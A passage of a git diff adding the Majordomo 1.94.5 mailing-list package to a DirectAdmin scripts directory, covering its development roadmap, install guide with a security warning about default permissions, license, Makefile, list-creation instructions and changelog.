allow custom routines would come in, as well as allowing +drop-in plugins. Archiving and digesting are perfect examples of +this; these are basically post and pre sending operations. + +API-izing things basically enables all the rest to be done easily and +coherently, allowing for the seperate development of some quite useful +features: + o using a DBM database, or perl5 file-struct for all list + configs. + o well-integrated pluggable web interface + o a queue mechanism for busy servers. + o fine-grained access control + o customized address matching + o post and pre Majordomo, List, and Command hooks + o subscriber level features, such as digesting and encryption. + +Some other ideas that come from brainstorming a bit on the MD vision: + + o Group Lists: Define a collection of lists, and manage them + the same way, with the same owners. A 'leader list' would + have 'leader variables' that the other lists 'follow'. + + o From a different viewpoint, Group Lists is simply ownership + delegation. Put Majordomo-owner at the top: + + Mojo Hierarchy + -------------- + Mojo God: All lists + | + Group God: Some lists or commands + | + Command God: Some commands + | + List God: One list + | + Variable God: Some variables + + + o Command queuing: Either plain, ala sendmail, or 'alarm + clocking' -- queue commands, then process when the requests + stop for a certain period. Or perhaps... + + o Majordomo Server. Likely run from inetd, this would be an + interesting way of solving the startup overhead. + + +Now, will all these happen at once? No, not unless someone spends +some development money. What's far more likely is an incremental +change, creaping up to a fabled Majordomo 2.0 knows all, sees all. +Broken down into manageable chunks, I see the following rough order +happening: + + Perl5. APIs, abstraction, and definition of the 'interface + layer' to Majordomo. Perl5 modules replacing bits of + majordomo, and conversion of internal functions to the API. + + Hook implementation. Web interface. Integration of archiving, + digesting. Group Lists, ownership delegation. Access lists. + + Plugins. Database backend for lists, subscribers. Custom + operators. Backend delivery support. + + +Now, by all means, this isn't a complete list. Rather, it's a +compilation of the various ideas that have floated around the +majordomo-workers list and the majordomo developers. + +What is greatly desired is to have the necessary core bits to allow +development of other features to happen in parallel. This could +follow the perl5 module design, with signup of projects to interested +parties. + +Below here is Section 5 of the old README file (1.92), kept as a +placeholder for known bugs as well as random ideas. + +---------------------------------------------------------------------- + +The next major planned release will be majordomo 2.0. The +specification document has been written for it, and is is in the +process of being written. The intent with 2.0 is to have a defined +programmers interface that allows people to develop portable modules +that can be added into majordomo to provide additional +functionality. If you think of majordomo as a stripped down car, and +the addin modules as extra options that you can "buy", then you have +the right idea. Majordomo 1.9x is being released to test the config +file code, and because some of the resend and majordomo features seem +to be needed by people on the majordomo-users list. + +Before the next planned release, there may be other releases in the +1.9x series as bugs are found, and as additional functionality that is +currently hinted at in the config file is added. + +5.1.1 Bugs/Misfeatures/Todo + +The following is a list of things that I want to address at some +point. The items marked with a * imply that patches to implement the +feature have been written, but it is too late in this cycle to apply +the patch and test it. Hopefully some of these items will be fixed +in later versions of majordomo 1.9x. + + 1) Resend only recognizes an Approved: header as the first line in the body. + The approved header should be recognized if it is the first non-blank + line in the body. [[[ fixed in 1.94 ]]] + + 2)* Resend should have a separate moderater address to bounce email to + + 3) Multiple privacy levels have to be provided. yes, no, password protected + + 4) The number of reported hits from which should be tunable + + 5) approve has to be extended to handle almost all commands + + 6) new-list should be part of resend + + 7)* wrapper.c should use sysexits.h for its error codes + [[[ fixed in 1.94 ]]] + 8) auto lists should prevent the list from being subscribed to itself + + 9)* auto lists should make sure that listserv style addresses aren't used + [[[ fixed in 1.94 ]]] +10) provide the ability to smash case of all incoming addresses under + majordomo administrator control. + +11) ability to specify banned users whose posts are ignored. + [[[ fixed in 1.94 with taboo_headers ]]] +12) rework the advertise/noadvertise interface + +13) Look at supporting #included/#exploder lists for mail sublists. + +14) set up reply to be smart enough to break mail loops + (using received: headers) + +15) should -h not be required by resend, or should resend_host keyword go + away? + +16) config should return the input file if there is an error. + +17) digest needs to strip headers and footers from list info. Maybe there + should be a back channel out of resend that doesn't do any + body massaging. + +18) have resend/majordomo check to see if the last Received: line is a + right hand sub/super string of the user's from address. + +19) fix help messages to remove syntax diagram info to stop address + subscriptions like: subscribe list [user@site] + +20)* Support auto digest creation based on number of lines, and age. + +21) Have resend log messages as it sends them through. Can be used to + prevent mail loops as well as provide stats for later use. + +22) analyze code to make sure all areas that require locks are in place + +23) detect error condition (e.g. out of disk space) and deal with them better + [[[ fixed in 1.94 ]]] +24) add code to support incremental config file changes. + +25) add ability to add arbitrary headers to message and check that the + headers are in the proper form. + +26) add the ability to do load limiting of majordomo commands + +27) RCPT messages shouldn't be bounced as administrivia. They should be + in a different class, and should be user settable. + +28) digest always needs to have its archive directory present. Digest + should be rewritten to place its outgoing digest into the + incoming directory, and it should use archive to do archiving if + need be. diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL new file mode 100644 index 0000000..d247dc9 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/INSTALL @@ -0,0 +1,187 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.5 + INSTALL + -------------------------------------------------------------------------- + +-> Current users of Majordomo whom are upgrading will want to <-- +-> read the NEWS and Changelog for details on what has changed <-- +-> between versions of Majordomo. <-- + + -------------------------------------------------------------------------- + +** SECURITY ALERT ** + + The default installation of Majordomo, including the checks that +config-test does, WILL NOT RESULT IN A SECURE INSTALLATION. In +particular, the majordomo home directory and the "wrapper" program +are, by default, accessible to any user. These open privileges can be +(mis)used to change list membership, list configuration details, forge +email, perhaps even create and/or delete lists, and anything else that +the majordomo user has permissions to do. + + If Majordomo is *NOT* installed on a secured system with controlled +access (and if you are paranoid, even if it is), you will need to take +additional steps to prevent access to the majordomo directories. +Usually, changing the privileges of the majordomo home directory to be +0750 fixes these problems, but creates the additional burden of +needing to configure the MTA (sendmail, qmail, exim) properly so that +it can read and execute "wrapper". Such configuration is beyond the +scope of this install document, and is left to the FAQ (Doc/FAQ, +Doc/majordomo-faq.html) and the support group +majordomo-users@greatcircle.com to answer. + +** SECURITY ALERT ** + + +UPGRADING: +---------- + +If you're upgrading from a release before 1.94.4, you'll need to either do +a clean install or patch your 1.94.X to 1.94.4 using the patches found at +ftp://ftp.greatcircle.com/pub/majordomo. Then... + +Folks upgrading from 1.94.4 to 1.94.5 have three options: + +1) A clean install. See below. + +2) Patch your _distribution_ of 1.94.4 to 1.94.5: + + % cd distribution/majordomo-1.94.4 + % patch < ...../patches/majordomo-1.94.5/1.94.4-to-1.94.5-patch + + If there are no *.rej files, do a 'make install'. Otherwise, examine + each .rej file and merge the changes in by hand. + +3) Patch your _installation_ of 1.94.4 to 1.94.5: + + % cd /usr/majordomo (ie, where you've installed majordomo) + % patch < ....../majordomo-1.94.5/patches/1.94.4-to-1.94.5-installed-patch + + If there are no *.rej files, you're done! Otherwise, examine + each .rej file and merge the changes in by hand. + + -------------------------------------------------------------------------- + +Steps to do a clean installation of Majordomo: + +1) Pick a group and user ID for Majordomo to run under. Usually this + is "majordomo.daemon". If you're this group, you can do all the + majordomo management functions (creating new lists, etc.) without + having to "su" to Majordomo. You can create and use a group other + id than "daemon" if you want, but if you do, that UID needs to + be a "trusted" user as far as Sendmail is concerned (i.e., the user + name needs to appear on a "T" line in your sendmail.cf file). + + +2) Choose a directory for Majordomo to install into. This must _NOT_ + be the same directory you untarred the Majordomo files into or a + symbolic link to it. + +3) Edit the Makefile, defining where Perl and the C compiler are, the + Majordomo home directory (chosen in step 2), the location of the + manual pages, the user and group that Majordomo will run under, and + the permissions for the various files and directories. If running on + a non-POSIX system, comment out the POSIX SECTION in the Makefile. + Under POSIX, wrapper must be setuid "root", even if the programs will + be running as something other than "root" (i.e., "daemon"), or it + won't work. The symptom of this is that Perl starts complaining about + security violations and "unsafe usages". + +4) Edit majordomo.cf. + + If this is a new install, copy sample.cf to majordomo.cf first. + + This .cf file is "require"ed into majordomo, so it needs to be valid + Perl. Here are the important variables to set: + + $whereami What machine am I on? + $whoami Who do users send requests to me as? + $whoami_owner Who is the owner of the above, for problems? + $homedir Where can I find my extra .pl files? + $listdir Where are the mailing lists? + $log Where do I write my log? + $sendmail_command Where the sendmail program resides. + $mailer What program and args do I use to send mail to the + lists? + $bounce_mailer What program and args do I use to send administrative + messages? + + If this is an upgrade, examine sample.cf for new configuration + variables to place in your existing majordomo.cf. Alternately, running + config-test after the installation is complete will show all the + variables that are missing. + +5) Do a 'make wrapper' to verify that the wrapper program compiles + cleanly. + +6) Do a 'make install' to install the Majordomo programs. This must be + done either as root or as the Majordomo user in order to properly set + the ownership of the various files and directories. + +7) Do a 'make install-wrapper' as root to install the wrapper. This must + be done as root because wrapper must be installed setuid and on POSIX + systems must be owned by root. The wrapper takes care to severely + restrict the programs which may be run by it and further restricts the + environment those programs run with. + +8) Add the majordomo-related aliases to your Sendmail alias file. + This can either be /etc/aliases, or if you are using a more recent + version of Sendmail (8.6 or above) a cleaner approach is to add an + alias file specifically for Majordomo aliases by adding another + "OA" line to /etc/sendmail.cf: + + OA/path/to/majordomo/majordomo.aliases + + If you use the M4 configuration system of recent sendmails, you can add + the following line to your .mc file to achieve the same effect: + + define(`ALIAS_FILE',`/etc/aliases,/path/to/majordomo/majordomo.aliases') + + Whichever method chosen, add the following aliases for Majordomo + itself: + + majordomo: "|/path/to/majordomo/wrapper majordomo" + owner-majordomo: you, + majordomo-owner: you + + Note the program name (majordomo) after wrapper must not be a full path + name. Also look at 'majordomo.aliases' for additional examples. + +9) Chdir to the Majordomo home and (as a regular, unprivileged user, not + the Majordomo user or root) run the configuration test script: + + % cd /path/to/majordomo + % ./wrapper config-test + + This should check for the proper configuration of Majordomo. Fix + any errors, and run again. When the process is complete and there are + no errors, config-test will offer to register your installation of + Majordomo by sending information on your operating system, your Perl + version, and the address of the Majordomo owner to the Majordomo + maintainers. A copy of the message will also be sent to the Majordomo + owner at your site. + + Note that if you have a setup which uses more than one configuration + file, you can have config-test check them by calling it with the name of + an alternate configuration file, like so: + + % ./wrapper config-test alternate.cf + +10) Test the configuration again by creating an empty file 'test' in + $listdir, and issue a 'lists' command to Majordomo: + + % touch /path/to/majordomo/lists/test + % echo 'lists' | mail majordomo + + If everything is working correctly, you should get a message back + from Majordomo, and not Mailer-Daemon. + +11) Browse the Frequently Asked Questions (Doc/FAQ), it can answer + many questions that you might have. + +That's it! To create new lists, read the NEWLIST file. + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE new file mode 100644 index 0000000..46e954e --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/LICENSE @@ -0,0 +1,142 @@ + MAJORDOMO LICENSE AGREEMENT + + + Version 1.1 + 18 May 96 + +Great Circle Associates (GCA) is the original developer of Majordomo, +a package for managing Internet mailing lists. Since its initial +release, many organizations and individuals have contributed +enhancements and fixes, but the original copyright has been retained +by Great Circle Associates. + +Majordomo is distributed in source code form, with almost all +modules written in Perl (there is one small C program), and runs +on many UNIX platforms. Majordomo is not a supported product of +Great Circle Associates, but is made available for use on the following +basis. + +GCA grants you a license as follows to the Majordomo package: + + 1. LICENSE. GCA grants you a non-exclusive, non-transferable +license for the Majordomo package ("Majordomo") and its associated +documentation, subject to all of the following terms and conditions. +In accepting a copy of Majordomo you agree to the following terms +and conditions. + + This license permits you to use, copy, and modify Majordomo +solely for your organization's use. + + 2. LIMITATIONS ON LICENSE. + + a. You may only use, copy, and modify Majordomo + as expressly provided for in this Agreement. + You must reproduce and include this Agreement, and + GCA's copyright notices on any copy and its + associated documentation. + + b. No part of Majordomo may be incorporated into any + program or other product that is sold, or for which any + revenue is received without written permission of + Great Circle Associates, with the following exceptions: + + You may install Majordomo at your site and run + mailing lists for other using it, and charge for + that service. + + You may install Majordomo at other sites, and + charge for your time to install, configure, + customize, and manage it. + + You may charge for enhancements you've made to + the Majordomo software, subject to the distribution + restrictions listed below. + + You may not charge for the Majordomo software + itself. + + A commercial license will be required in all other cases. + + c. If Majordomo is being provided or configured for a + customer, the provider must clearly state in + documentation and bid/proposal materials that the + Majordomo technologies are licensed and provided + by Great Circle Associates, and a copy of this + license must be included with the configured + system. + + d. Majordomo, if modified, must carry prominent notices + stating that changes have been made, and the dates of + any such changes. + + You may publicly distribute an unmodified and + complete version of Majordomo, for instance as + part of a collection of free software packages, + but you must distribute the whole package, and + you must tell people where they can obtain the + latest version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + You may not publicly distribute a modified or + incomplete version of Majordomo. You may make + such a version available to your own clients, + subject to the restrictions below, but not to the + general public (for instance, by placing it on an + anonymous FTP site). + + You may not distribute (publicly or privately) a modified + version of Majordomo without clearly identifying it as such + (by changing the version string in majordomo_version.pl), + identifying the changes (through appropriate README + documentation and/or comments in the code), + identifying who will be responsible for supporting + the modified version, and informing people receiving + the modified version where they can find an + unmodified version: + ftp://ftp.greatcircle.com/pub/majordomo/ + + e. All rights not expressly granted herein are reserved to GCA. + + 3. NO GCA OBLIGATION: You are solely responsible for maintaining +your copy of Majordomo and the security of the operating environment in +which Majordomo may be used. You are solely responsible for all of your +costs and expenses incurred in connection with the distribution of Majordomo +or any Application Program hereunder, and GCA shall have no liability, +obligation or responsibility therefor. GCA shall have no obligation to +provide maintenance, support, upgrades, or new releases to you. + + 4. NO WARRANTY OF PERFORMANCE. Majordomo and its associated +documentation are licensed "as is" without warranty as to their +performance, merchantability, or fitness for any particular purpose. +The entire risk as to the results and performance of Majordomo is +assumed by you. Should Majordomo prove defective, you assume the +entire cost of all necessary servicing, repair, or correction. + + 5. LIMITATION OF LIABILITY. Neither GCA nor any other +person who has been involved in the creation, production or delivery +of Majordomo shall be liable to you or to any other person for any +direct, indirect, special, incidental, consequential, or punitive +damages, even if GCA has been advised of the possibility of such +damages. + + 6. TERM. The license granted hereunder is effective until +terminated. This license shall automatically terminate without notice +if you breach any of the provisions hereof. You may terminate it at +any time by destroying Majordomo and its associated documentation. + + 7. GENERAL. + + a. This Agreement shall be governed by the laws of + the State of California. + + b. Address all correspondence regarding this license + to GCA's electronic mail address + , or to + + Great Circle Associates + 1057 West Dana Street + Mountain View, CA 94041 + USA + +[ Note: the form of this license was derived, by permission, from the license +for the Firewalls Toolkit distributed by Trusted Information Systems, Inc. ] diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile new file mode 100644 index 0000000..90f9c15 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Makefile @@ -0,0 +1,237 @@ + +#$Modified: Tue Jan 18 14:58:24 2000 by cwilson $ +# +# $Source: /sources/cvsrepos/majordomo/Makefile,v $ +# $Revision: 1.64 $ +# $Date: 2000/01/18 14:01:17 $ +# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.64 2000/01/18 14:01:17 cwilson Exp $ +# + +# This is the Makefile for Majordomo. +# +#------------- Configure these items ----------------# +# + +# Put the location of your Perl binary here: +PERL = /usr/bin/perl + +# What do you call your C compiler? +CC = cc + +# Where do you want Majordomo to be installed? This CANNOT be the +# current directory (where you unpacked the distribution) +W_HOME = /etc/virtual/majordomo + +# Where do you want man pages to be installed? +MAN = $(W_HOME)/man + +# You need to have or create a user and group which majordomo will run as. +# Enter the numeric UID and GID (not their names!) here: +W_USER = 987 +W_GROUP = 2 + +# These set the permissions for all installed files and executables (except +# the wrapper), respectively. Some sites may wish to make these more +# lenient, or more restrictive. +FILE_MODE = 644 +EXEC_MODE = 755 +HOME_MODE = 751 + +# If your system is POSIX (e.g. Sun Solaris, SGI Irix 5 and 6, Dec Ultrix MIPS, +# BSDI or other 4.4-based BSD, Linux) use the following four lines. Do not +# change these values! +WRAPPER_OWNER = root +WRAPPER_GROUP = $(W_GROUP) +WRAPPER_MODE = 4755 +POSIX = -DPOSIX_UID=$(W_USER) -DPOSIX_GID=$(W_GROUP) +# Otherwise, if your system is NOT POSIX (e.g. SunOS 4.x, SGI Irix 4, +# HP DomainOS) then comment out the above four lines and uncomment +# the following four lines. +# WRAPPER_OWNER = $(W_USER) +# WRAPPER_GROUP = $(W_GROUP) +# WRAPPER_MODE = 6755 +# POSIX = + +# Define this if the majordomo programs should *also* be run in the same +# group as your MTA, usually sendmail. This is rarely needed, but some +# MTAs require certain group memberships before allowing the message sender +# to be set arbitrarily. +# MAIL_GID = numeric_gid_of_MTA + +# This is the environment that (along with LOGNAME and USER inherited from the +# parent process, and without the leading "W_" in the variable names) gets +# passed to processes run by "wrapper" +W_SHELL = /bin/sh +W_PATH = /bin:/usr/bin:/usr/ucb +W_MAJORDOMO_CF = $(W_HOME)/majordomo.cf + +# A directory for temp files.. +TMPDIR = /tmp + +#--------YOU SHOULDN'T HAVE TO CHANGE ANYTHING BELOW THIS LINE.------------- + +VERSION = 1.94.5 + +# For those stupid machines that try to use csh. Doh! +SHELL = /bin/sh + +WRAPPER_FLAGS = -DBIN=\"$(W_HOME)\" -DPATH=\"PATH=$(W_PATH)\" \ + -DHOME=\"HOME=$(W_HOME)\" -DSHELL=\"SHELL=$(W_SHELL)\" \ + -DMAJORDOMO_CF=\"MAJORDOMO_CF=$(W_MAJORDOMO_CF)\" \ + $(POSIX) + +INSTALL = ./install.sh + +TMP = $(TMPDIR)/mj-install-$(VERSION) + +TOOLS = archive.pl archive_mh.pl \ + digest.send makeindex.pl \ + logsummary.pl new-list sequencer + +BINBIN = approve bounce medit + +BIN = bounce-remind config_parse.pl majordomo majordomo.pl \ + majordomo_version.pl request-answer resend \ + shlock.pl config-test archive2.pl digest + +INSTALL_FLAGS = -O $(W_USER) -g $(W_GROUP) + +default: + @echo "make what?" + @echo " install: installs everything." + @echo " install-wrapper: only install wrapper." + @echo " install-scripts: only install the scripts." + @echo " wrapper: only make wrapper." + +install: wrapper install-scripts install-cf install-man + @echo "" + @echo "To finish the installation, 'su' to root and type:" + @echo "" + @echo " make install-wrapper" + @echo "" + @echo "If not installing the wrapper, type" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + @echo "" + @echo "(no 'su' necessary) to verify the installation." + + +install-wrapper: wrapper + $(INSTALL) -o $(WRAPPER_OWNER) -g $(WRAPPER_GROUP) \ + -m $(WRAPPER_MODE) wrapper $(W_HOME)/wrapper + @echo "" + @echo "To verify that all the permissions and etc are correct," + @echo "run the command" + @echo "" + @echo " cd $(W_HOME); ./wrapper config-test" + +# fix where perl lives. +# Create a tmp directory to stuff all the files in, so we +# don't go blithly changing the master copies of stuff. +# +config-scripts: + @echo "Testing for perl ($(PERL))..." + @test -f $(PERL) -a -x $(PERL) || \ + { echo "You didn't correctly tell me where Perl is."; exit 1; } + @rm -rf $(TMP); mkdir $(TMP) + @echo "Configuring scripts..." + @for file in $(TOOLS); do \ + cp contrib/$$file $(TMP) ; \ + done + @cp $(BINBIN) $(BIN) $(TMP) + @cd $(TMP); $(PERL) -p -i -e 's@^#!\S+perl.*@#!$(PERL)@' $(TOOLS) $(BINBIN) $(BIN) + + +install-scripts: config-scripts + $(INSTALL) -m $(HOME_MODE) $(INSTALL_FLAGS) . $(W_HOME) + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/bin + + @echo "Copying tools to $(W_HOME)/bin" + + @for file in $(BINBIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/bin/$$file; \ + done + + @echo "Copying Majordomo files to $(W_HOME)" + + @for file in $(BIN); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/$$file; \ + done + + @echo "Copying archiving and other tools to $(W_HOME)/Tools" + + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) . $(W_HOME)/Tools + + @for file in $(TOOLS); do \ + $(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + $(TMP)/$$file $(W_HOME)/Tools/$$file; \ + done + + @rm -rf $(TMP) + +# the install.cf target will install the sample config file in the proper +# place unless a majordomo.cf file exists, in which case the majordomo.cf +# file will be used. It won't overwrite an existing majordomo.cf file. In +# all cases, the sample.cf file must be installed so that config-test will +# be able to check for new variables. +install-cf: + @if [ ! -f $(W_HOME)/majordomo.cf ]; \ + then \ + if [ -f majordomo.cf ]; \ + then \ + echo "Using majordomo.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + majordomo.cf $(W_HOME)/majordomo.cf; \ + else \ + echo "Using sample.cf"; \ + $(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME)/majordomo.cf; \ + fi; \ + else \ + echo "Using installed majordomo.cf"; \ + fi; + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + sample.cf $(W_HOME) + +install-man: + @echo "Installing manual pages in $(MAN)" + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN) + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man1 + @$(INSTALL) -m $(EXEC_MODE) $(INSTALL_FLAGS) \ + . $(MAN)/man8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/approve.1 $(MAN)/man1/approve.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/digest.1 $(MAN)/man1/digest.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce.1 $(MAN)/man1/bounce.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/majordomo.8 $(MAN)/man8/majordomo.8 + @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \ + Doc/man/resend.1 $(MAN)/man1/resend.1 + +wrapper: wrapper.c + $(CC) $(WRAPPER_FLAGS) -o wrapper wrapper.c + +clean: + rm -f wrapper *~ + +dist-clean: clean + rm -f majordomo.cf .cvsignore todo.local .dcl archive + rm -rf regress Doc/samples Tools + +distribution: dist-clean + mkdir majordomo-$(VERSION) + mv * .??* majordomo-$(VERSION) || exit 0 + rm -rf majordomo-$(VERSION)/CVS majordomo-$(VERSION)/*/CVS \ + majordomo-$(VERSION)/*/*/CVS + tar -cvf majordomo-$(VERSION).tar.Z\ + majordomo-$(VERSION) diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST new file mode 100644 index 0000000..89b4aa2 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWLIST @@ -0,0 +1,138 @@ + _ _ ____ _ ____ ____ ___ ____ _ _ ____ + |\/| |__| | | | |__/ | \ | | |\/| | | + | | | | _| |__| | \ |__/ |__| | | |__| + + Release 1.94.4 + NEWLIST + -------------------------------------------------------------------------- + +List names must be of the form "[a-z0-9_-]+" (in other words, letters, +digits, underbars, or dashes only). List may be of mixed or upper +case, but all references to the list name below must be specified +in lower case EXCEPT for the -l arguments of resend and majordomo. + +To create a list: + +1) Create an empty file called in $listdir, mode 664. + +2) Create a file called ".info" in $listdir, mode 664, with + the initial introductory info for the list in it. + +3) Create the appropriate entries for the list in your Sendmail + aliases file (/etc/aliases or a separate majordomo.aliases file.) + + Each list requires several aliases. For an example list called + 'test', these aliases are required: + + test The list alias itself + owner-test The owner of the list (who should get bounces) + test-request The address for administrative requests. + test-approval The person who approves postings to the list + (for moderated lists as well as unmoderated ones) + + These would look like this: + + test: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-request: "|/usr/test/majordomo-1.94.3/wrapper request-answer test" + test-approval: you + + It's more likely that the outgoing messages to the list will be + passed through "resend" to catch Majordomo commands, as well as + give other useful features. A typical set of aliases without anything + fancy, such as archiving or digesting, would look like this: + + test: "|/usr/test/majordomo-1.94.3/wrapper resend -l test test-list" + test-list: :include:/usr/test/majordomo-1.94.3/lists/test + owner-test: you, + test-owner: you + test-request: "|/usr/test/majordomo-1.94.3/wrapper majordomo -l test" + + Finally, a more complete set of aliases that provides digestification, + archiving, and header manipulation would look like: + + test:"|/tools/majordomo/wrapper resend -l test -h cs.umb.edu test-outgoing" + test-digest:test + + # I put the digest and archive programs on the outgoing list so that + # messages bounced by resend don't end up in the digest or archive + # unless I send them through resend explicitly. + test-outgoing: :include:/usr/local/Lists/test, + "| /tools/majordomo/wrapper digest -r -C -l test-digest test-digest-outgoing", + "| /tools/majordomo/wrapper archive2.pl -a -m + -f /usr/local/mail/archive/test/test.archive" + # archive produces a monthly archive with the -m flag. + + test-digest-outgoing::include:/usr/local/Lists/test-digest + + owner-test:you, + owner-test-outgoing:owner-test + + # note that the "-digest" and "-digest-outgoing" suffixes + # are required to allow the majordomo mkdigest command, and the + # config code to work properly. + owner-test-digest:owner-test + owner-test-digest-outgoing:owner-test + + test-request: "|/tools/majordomo/wrapper request-answer test" + test-digest-request: "|/tools/majordomo/wrapper request-answer test-digest" + + test-approval:you, + test-digest-approval:test-approval + + As you can see, setting up a list can be quite complex. + + You can run majordomo at the -request address (recommended), and it will + handle requests such as: + + subscribe + unsubscribe + signoff + + without requiring the user to supply a list name. To do this set up an + alias similar to: + + test-request: "|/tools/majordomo/wrapper majordomo -l test" + + Where the argument to -l is the name of the list. + + Hopefully in a future release of majordomo archive2.pl will be + integrated into majordomo so that the frequency of archive rollover + (daily, monthly, yearly) will be controllable via the config file + mechanism. + + ***** NOTE: CONVERTING FROM A PREVIOUS MAJORDOMO VERSION ***** + For those who are converting from an earlier version of + majordomo, note that resend has very few command line + arguments. If you don't strip the command line arguments from resend, + the comments in the configuration file that deal with default + values for resend will be incorrect. + + + More examples of alias setups can be found in the file majordomo.aliases. + For sendmail users, don't forget to run 'newaliases' to rebuild the + alias database. + + +4) If the list will be archived, create an archive directory in the + location specified by the $filedir and $filedir_suffix variables. + +5) If the list has a digest, create a digest work (incoming) subdirectory + under $digest_work_dir. Use the same name as the digest list (example: + test-digest). You also must create an archive directory for the digest + list as explained in step 4. + +6) Finally, make sure everything is owned by user majordomo, group + majordomo, and writable by both owner and group (i.e., mode 664 for + files and mode 775 for directories). + +7) Now issue a 'config .admin' command to + Majordomo. This will cause it to create a default configuration + file for the list, and send it back to you. Make any desired + changes, SUCH AS CHANGING THE DEFAULT PASSWORDS, as well as adding + a description, and send it back with the 'newconfig' command. + + +Now send a test subscribe and unsubscribe, just to further verify that +the list is working. + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS new file mode 100644 index 0000000..23f3724 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/NEWS @@ -0,0 +1,148 @@ +Changes from 1.94.4 to 1.94.5 + +A straightforward patch release, 99% from the collected +1.94.4 patches: + +o digest_rm_fronter and digest_rm_footer now work. +o unsubcribe_policy now has +confirm feature +o More hostile address checking +o archive2.pl makes archives world readable. +o bounce had an innocuous y2k bug, and wanted a 'bounces' list password even + when called as unsub +o better description of the moderator function. +o Fixes 'restrict_post = #!$list' substitution and blank lines + in config files +o Better error reporting when majordomo.cf is wrong. +o Detects some attachments sent as commands +o Approve commands can span lines now. +o resend has better messages for taboo_headers problems +o fixed: header corruption when Subject: is blank and subject tags are used. + +========================================================================================= +archive2.pl.0 () Ensures archives are world readable. +bounce.0 () Bounce script and unsub. +config_parse.pl.1 () Another trivial 1.94.4 patch: moderator +config_parse.pl.2 (B) Fixes 'restrict_post = #!$list' substitution +config_parse.pl.5 (F) Fixes failing to accept newconfig... (cleaned) +config_parse.pl.6 (B) Fixes bug when several consecutive blank lines + or a trailing blank line appear in a string array +digest-config_parse.pl.1 (F) Adds the functionality promised by digest_rm_fronter +majordomo-config.1 (F) +config patches for unsubscribe_policy +majordomo.0b (B+) Fixes some error messages and minor bugs related to + aliasing -request to invoking majordomo with -l +majordomo.1 (F) PATCH: no attachments (was Re: Strange stuff) +majordomo.3 () A minor little patch that cleans up newinfo/newintro +majordomo.6 (F) Patch for APPROVE linewraps +majordomo.7 () Work-around for Perl 5.005 problem +majordomo.pl.1 (S+) Fixes security hole with :include:syslog (untested) +request-answer.0 () Request-answer should not reply to mailer-daemon et al +resend.2 (F) A nice patch for debugging taboo_headers +resend.5 (B++) Fixes header corruption when Subject: is + blank and subject tags are used +resend.8 () More headers for the skip headers string +resend_parse.1 () Corrected PATCH: moderator behavior + + + + +Changes from 1.94.3 to 1.94.4 + +o Security fix for advertise/noadvertise eval hole. +o Security fix for wrapper env overrun +o Fixed race condition in unsubscribing, config lock not being freed, + EOF tests fail due to bad assumptions +o mungedomain wasn't working properly +o fixes to commented-out sample.cf code. +o archive2.pl now has -D -M -Y arguments for 4 digit years. +o added "welcome" and "announcments" keywords. +o Digest fixes for -C + + +Changes from 1.94.2 to 1.94.3: + +o removed wrapper since it snuck into the tarball +o fixed medit. + +Changes from 1.94.1 to 1.94.2: + +o More documentation fixes. +o increased checking in regexps +o better locking +o ignore directories in the list directory. +o resend doesn't abort if the sendmail error is EX_NOUSER + + +Changes from 1.94 to 1.94.1 + +Improved Installation: + +The installation process has been improved. The Makefile is now simpler +and makes use of an external "install" program (included as install.sh). + +The permissions for all installed files can be easily set in the Makefile. +In addition, the default permission for $homedir has been made slightly +more lenient, to avoid problems with the mailer not being able to execute +the wrapper. + +The installation checker, config-test, has been improved with more checks +and better detection of situations where it's being run improperly. It +will automatically warn of new configuration variables that should be set +in majordomo.cf. + +The digest and archive2.pl programs have been moved from the Tools +directory to the main directory since they are 